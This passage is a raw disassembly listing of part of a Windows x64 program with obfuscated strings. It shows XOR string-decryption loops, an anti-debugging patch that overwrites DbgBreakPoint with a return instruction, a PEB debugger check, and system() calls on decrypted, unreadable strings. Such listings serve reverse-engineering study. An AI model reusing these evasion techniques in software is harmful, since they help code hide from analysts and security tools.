movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [rbp - 0x70]
xorps xmm0, xmmword [rbp + 0x1b0]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [rbp - 0x60]
xorps xmm1, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [rbp - 0x50]
xorps xmm0, xmmword [rbp + 0x1d0]
movdqa xmmword [rbp - 0x50], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rsi
mov qword [rbp + 8], rsi
lea rax, [rsp + 0x70]
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x14002b400
mov r8, rbx
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x10]
call fcn.1400183b0
lea rax, [rbp - 0x10]
mov qword [rbp - 0x40], rax
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x80]
call sub.VCRUNTIME140.dll_memset
movabs rcx, 0x58dcf4e6447de9a4
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], r12
mov qword [rbp + 0x190], r13
mov qword [rbp + 0x198], r12
movdqa xmm0, xmmword [rbp + 0x190]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0xa
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.140019360
nop
cmp qword [rbp + 0x108], 0
je 0x14002b516
movabs rax, 0xcd6efba457fa693
mov qword [rsp + 0x60], rax
movabs rax, 0x1c21e2c8b4eba695
mov qword [rsp + 0x68], rax
mov qword [rbp + 0x190], r13
mov qword [rbp + 0x198], r12
movdqa xmm0, xmmword [rbp + 0x190]
xorps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x80]
call fcn.140018150
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rdx, qword [rbp - 0x10]
mov r8, qword [rbp]
mov rcx, rax
call fcn.140018660
lea rdx, [0x140018f50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x80], rax
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x7c], edx
lea rcx, [rbp + 0x88]
call fcn.140019a50
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x128]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x14002b5ab
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b5a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002b5a5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007cc1c
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x14002af03
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002aefe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002aefe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea r8, [rbp - 0x20]
lea rcx, [0x14009fa68]
call fcn.1400184b0
lea rcx, [0x140081d70]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x14002b649
lea rdx, str.DbgBreakPoint
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x14002b649
lea r9, [rbp - 0x20]
mov edx, 1
mov r8d, 0x40
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14002b649
mov byte [rbx], 0xc3
mov rax, qword gs:[0x60]
cmp byte [rax + 2], 0
je 0x14002b663
mov ecx, ntohl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_raise]
lea rdx, [0x140028460]
lea rcx, [rbp + 0x50]
call fcn.140017e60
nop
cmp dword [rbp + 0x58], 0
je 0x14002e027
movaps xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp + 0x190], xmm0
lea rcx, [rbp + 0x190]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x14002e027
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x50], xmm0
lea rdx, [0x140025540]
lea rcx, [rbp + 0x40]
call fcn.140017e60
nop
cmp dword [rbp + 0x48], 0
je 0x14002e01c
movaps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x190], xmm0
lea rcx, [rbp + 0x190]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x14002e01c
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x40], xmm0
movups xmm0, xmmword [0x1400825f0]
movups xmmword [rbp + 0x190], xmm0
movsd xmm0, qword [0x140082600]
movsd qword [rbp + 0x1a0], xmm0
movzx eax, word [0x140082608]
mov word [rbp + 0x1a8], ax
mov r14d, dword [reloc.WS2_32.dll_accept]
movdqa xmm9, xmmword [0x140082870]
movdqa xmm11, xmmword [0x140082890]
movdqa xmm10, xmmword [0x140082860]
movdqa xmm7, xmmword [0x140082880]
movdqa xmm8, xmmword [0x140082840]
cmp byte [0x140082609], 0
je 0x14002b8af
mov r8d, esi
cmp r14d, 2
jl 0x14002b86d
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x194]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002b780
cmp r8d, 0x1a
jge 0x14002b8af
movsxd rax, r8d
lea r9, [rbp + 0x190]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14002b880
lea rcx, [rbp + 0x190]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [str.ouwiiwp]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140082620]
movups xmmword [rbp - 0x80], xmm1
movsd xmm0, qword [0x140082630]
movsd qword [rbp - 0x70], xmm0
cmp r14d, 2
jl 0x14002b9f7
mov edx, esi
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rsp + 0x74]
mov r8d, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x14002b910
jmp 0x14002ba2f
lea r9, [rsp + 0x70]
mov r8d, esi
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x14002ba00
lea rdx, [rsp + 0x70]
mov rcx, r10
call fcn.140018150
movzx eax, word [0x140082638]
mov word [rbp - 0x20], ax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14008263a]
mov byte [rbp - 0x20], 0xa
xor byte [rbp - 0x1f], 0x39
xor al, 0x3a
mov byte [rbp - 0x1e], al
lea rdx, [rbp - 0x20]
call fcn.140018150
lea rcx, [0x14009fad0]
call fcn.140007560
movups xmm0, xmmword [0x140082640]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140082650]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140082660]
movups xmmword [rbp - 0x70], xmm0
movsd xmm0, qword [0x140082670]
movsd qword [rbp - 0x60], xmm0
movzx eax, word [0x140082678]
mov word [rbp - 0x58], ax
mov r8d, esi
cmp r14d, 2
jl 0x14002bbbd
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14002bad0
cmp r8d, 0x3a
jge 0x14002bbff
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3a
jl 0x14002bbd0
lea rdx, [rsp + 0x70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140018150
lea rcx, [0x14009fad0]
call fcn.140003540
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [0x140082830]
movdqu xmmword [rbp + 0x20], xmm1
mov byte [rbp + 0x10], 0
movups xmmword [rbp + 0x60], xmm0
movdqu xmmword [rbp + 0x70], xmm1
mov byte [rbp + 0x60], 0
movups xmmword [rbp - 0x10], xmm0
movdqu xmmword [rbp], xmm1
mov byte [rbp - 0x10], 0
lea rdx, [rbp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rbp + 0x30]
movdqa xmm6, xmmword [0x140082850]
sub ecx, 1
je 0x14002c927
sub ecx, 1
je 0x14002c2d6
cmp ecx, 1
je 0x14002bdfb
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.14001a3e0
mov r9, rax
cmp byte [rax + 0x26], 0
je 0x14002bddc
cmp r14d, 2
jl 0x14002bdaa
movdqa xmmword [rsp + 0x30], xmm11
mov rcx, rax
mov edx, dword [rsp + 0x30]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x20
jl 0x14002bcc0
cmp eax, 0x27
jge 0x14002bddc
movsxd r8, esi
add r8, r9
mov eax, 0x94f2095
imul esi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, sil
sub al, cl
add al, 0x38
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x27
jl 0x14002bdb0
mov rdx, r9
mov rcx, r10
call fcn.140018150
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movups xmm0, xmmword [0x140082720]
movups xmmword [rbp + 0x190], xmm0
movsd xmm0, qword [0x140082730]
movsd qword [rbp + 0x1a0], xmm0
movzx eax, word [0x140082738]
mov word [rbp + 0x1a8], ax
cmp byte [0x140082739], 0
je 0x14002bf8f
mov r8d, esi
cmp r14d, 2
jl 0x14002bf4d
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x194]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002be60
cmp r8d, 0x1a
jge 0x14002bf8f
movsxd rax, r8d
lea r9, [rbp + 0x190]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14002bf60
lea rcx, [rbp + 0x190]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140082740]
movups xmmword [rsp + 0x40], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14002c0ff
cmp r14d, 2
jl 0x14002c0c7
mov edx, esi
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rsp + 0x44]
mov r8d, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14002bfe0
jmp 0x14002c0ff
lea r9, [rsp + 0x40]
mov r8d, esi
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14002c0d0
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140018150
lea rdx, [rbp + 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140017ef0
movsd xmm0, qword [0x140082750]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x140082758]
mov dword [rsp + 0x38], eax
movzx eax, word [0x14008275c]
mov word [rsp + 0x3c], ax
cmp byte [0x14008275d], 0
je 0x14002c26f
mov r8d, esi
cmp r14d, 2
jl 0x14002c232
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm11
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140082750]
xorps xmm1, xmm0
movd dword [rsp + 0x30], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14002c240
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140018150
lea rdx, [rbp - 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140017ef0
lea rax, [rbp + 0x190]
mov qword [rbp - 0x40], rax
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x190]
call fcn.140009d70
mov rbx, rax
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x1e0]
call fcn.140009d70
nop
mov r8, rbx
mov rdx, rax
lea rcx, [0x14009fad0]
call fcn.1400063d0
jmp 0x14002ce44
movups xmm0, xmmword [0x1400826d0]
movups xmmword [rbp + 0x190], xmm0
movsd xmm0, qword [0x1400826e0]
movsd qword [rbp + 0x1a0], xmm0
movzx eax, word [0x1400826e8]
mov word [rbp + 0x1a8], ax
cmp byte [0x1400826e9], 0
je 0x14002c45f
mov r8d, esi
cmp r14d, 2
jl 0x14002c41d
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x194]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002c330
cmp r8d, 0x1a
jge 0x14002c45f
movsxd rax, r8d
lea r9, [rbp + 0x190]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14002c430
lea rcx, [rbp + 0x190]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x1400826f8]
mov dword [rsp + 0x38], eax
movzx eax, word [0x1400826fc]
mov word [rsp + 0x3c], ax
movzx eax, byte [0x1400826fe]
movsd xmm0, qword [0x1400826f0]
mov byte [rsp + 0x3e], al
movsd qword [rsp + 0x30], xmm0
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov r8d, esi
cmp r14d, 2
jl 0x14002c583
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm11
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1400826f0]
xorps xmm1, xmm0
movd dword [rsp + 0x30], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
